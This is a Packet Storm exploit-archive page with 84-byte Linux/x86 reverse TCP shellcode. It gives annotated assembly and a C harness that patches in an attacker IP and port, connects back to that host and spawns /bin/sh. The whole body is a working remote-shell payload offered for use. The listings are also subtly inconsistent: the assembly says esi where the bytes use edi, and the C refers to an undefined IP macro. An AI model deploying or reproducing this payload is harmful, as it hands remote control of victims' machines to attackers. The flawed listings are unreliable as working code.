exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Reverse TCP Shellcode

Linux/x86 Reverse TCP Shellcode
Posted Aug 24, 2020
Authored by Xenofon Vassilakopoulos

84 bytes small Linux/x86 reverse TCP shellcode.

tags | x86, tcp, shellcode
systems | linux
SHA-256 | a9b8dde55f9a62b0ac5a12be1dac512db3965420f4d49dbeec8a6055fc68b62d

Linux/x86 Reverse TCP Shellcode

Change Mirror Download

# Title: Linux/x86 - Reverse TCP Shellcode ( 84 bytes )
# Author: Xenofon Vassilakopoulos
# Date: 2020-08-23
# Tested on: Linux 3.13.0-32-generic #57~precise1-Ubuntu i686 i386 GNU/Linux
# Architecture: i686 GNU/Linux
# Shellcode Length: 84 bytes
# SLAE-ID: SLAE - 1314

--------------------- Reverse Shellcode ---------------------

global _start
section .text

_start:

xor eax, eax ;zero out eax register
mul edx ;zero out edx register

;;sockfd = socket(AF_INET,SOCK_STREAM,0);
push edx ; push 0 on the stack which is related with the third argument of the socket system call
mov ebx, edx ; zero out ebx
inc ebx ; define the SYS_SOCKET value to be 0x1.
push ebx ; SOCK_STREAM constant at type argument
push 0x2 ; AF_INET constant at domain argument
mov ecx, esp ; ECX will point to args at the top of the stack
mov al, 0x66 ; call SocketCall()
int 0x80 ; call system call interrupt to execute the arguments
mov edi, eax ; EAX will store the return value of the socket descriptor to edi register

;; sa.sin_family = AF_INET;
;; sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
;; sa.sin_port = htons(REMOTE_PORT);
;; connect(sockfd, (struct sockaddr *)&sa, sizeof(sa));

pop ebx ; assign ebx with value (2)
push 0x04c8a8c0 ; push IP 192.168.200.4 on the stack
push word 0xd204 ; push port 1234 on the stack
push bx ; push AF_INET constant into the 16 bytes register avoiding nulls
mov ecx, esp ; perform stack alignment - ecx points to struct
push 0x10 ; the size of the port
push ecx ; pointer to host_addr struct
push edi ; save socket descriptor sockfd to struct
mov ecx, esp ; perform stack alignment - ecx points at struct
inc ebx ; use the connect system call (3)
mov al, 0x66 ; call the socketcall system call
int 0x80 ; call interrupt

;;dup2(sockfd, 2);
;;dup2(sockfd, 1);
;;dup2(sockfd, 0);

mov ebx, esi ; move sockfd descriptor to ebx
xor ecx, ecx ; zero out the ecx register before using it
lo:
mov al, 0x3f ; the functional number that indicates dup2 (63 in dec)
int 0x80 ; call dup2 syscall
inc ecx ; increase the value of ecx by 1 so it will take all values 0(stdin), 1(stdout), 2(stderr)
cmp cl, 0x2 ; compare ecx with 2 which indicates the stderr descriptor
jle lo ; loop until counter is less or equal to 2


;; execve("/bin/sh", 0, 0);
xor eax, eax ; zero out the eax register
push eax ; push NULL into the stack
push 0x68732f2f ; push "hs//" in reverse order into stack
push 0x6e69622f ; push "nib/" in reverse order into stack
mov ebx, esp ; point ebx into stack
push eax ; push NULL into the stack
mov edx, esp ; point to edx into stack
push ebx ; push ebx into stack
mov ecx, esp ; point to ecx into stack
mov al, 0xb ; 0xb indicates the execve syscall
int 0x80 ; execute execve syscall


--------------------- Shellcode ---------------------

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define PORT 27
#define REMOTE_ADDRESS 21

int main(int argc, char *argv[])
{

unsigned char shellcode[] = \
"\x31\xc0\xf7\xe2\x52\x89"
"\xd3\x43\x53\x6a\x02\x89"
"\xe1\xb0\x66\xcd\x80\x89"
"\xc7\x5b\x68"
"\xc0\xa8\xc8\x04" // IP
"\x66\x68"
"\x04\xd2" // PORT
"\x66\x53\x89\xe1\x6a\x10"
"\x51\x57\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xfb\x31"
"\xc9\xb0\x3f\xcd\x80\x41"
"\x66\x83\xf9\x02\x7e\xf5"
"\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x89\xe2"
"\x53\x89\xe1\xb0\x0b\xcd"
"\x80";

// provide binary form of the IP into the shellcode in order to be able to connect to that specific IP address
unsigned ipaddress = inet_addr(argv[1]);

// copy the IP in the right shellcode offset 21 bytes from the beginning of the shellcode
memcpy(&shellcode[IP], &ipaddress, 4);

// provide binary form of the port into the shellcode in order to be able to connect to that specific port
unsigned int port = htons(atoi(argv[2]));

// copy the new port in the right shellcode offset 27 bytes from the beginning of the shellcode
memcpy(&shellcode[PORT], &port, 2);

printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;

ret();

}

Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close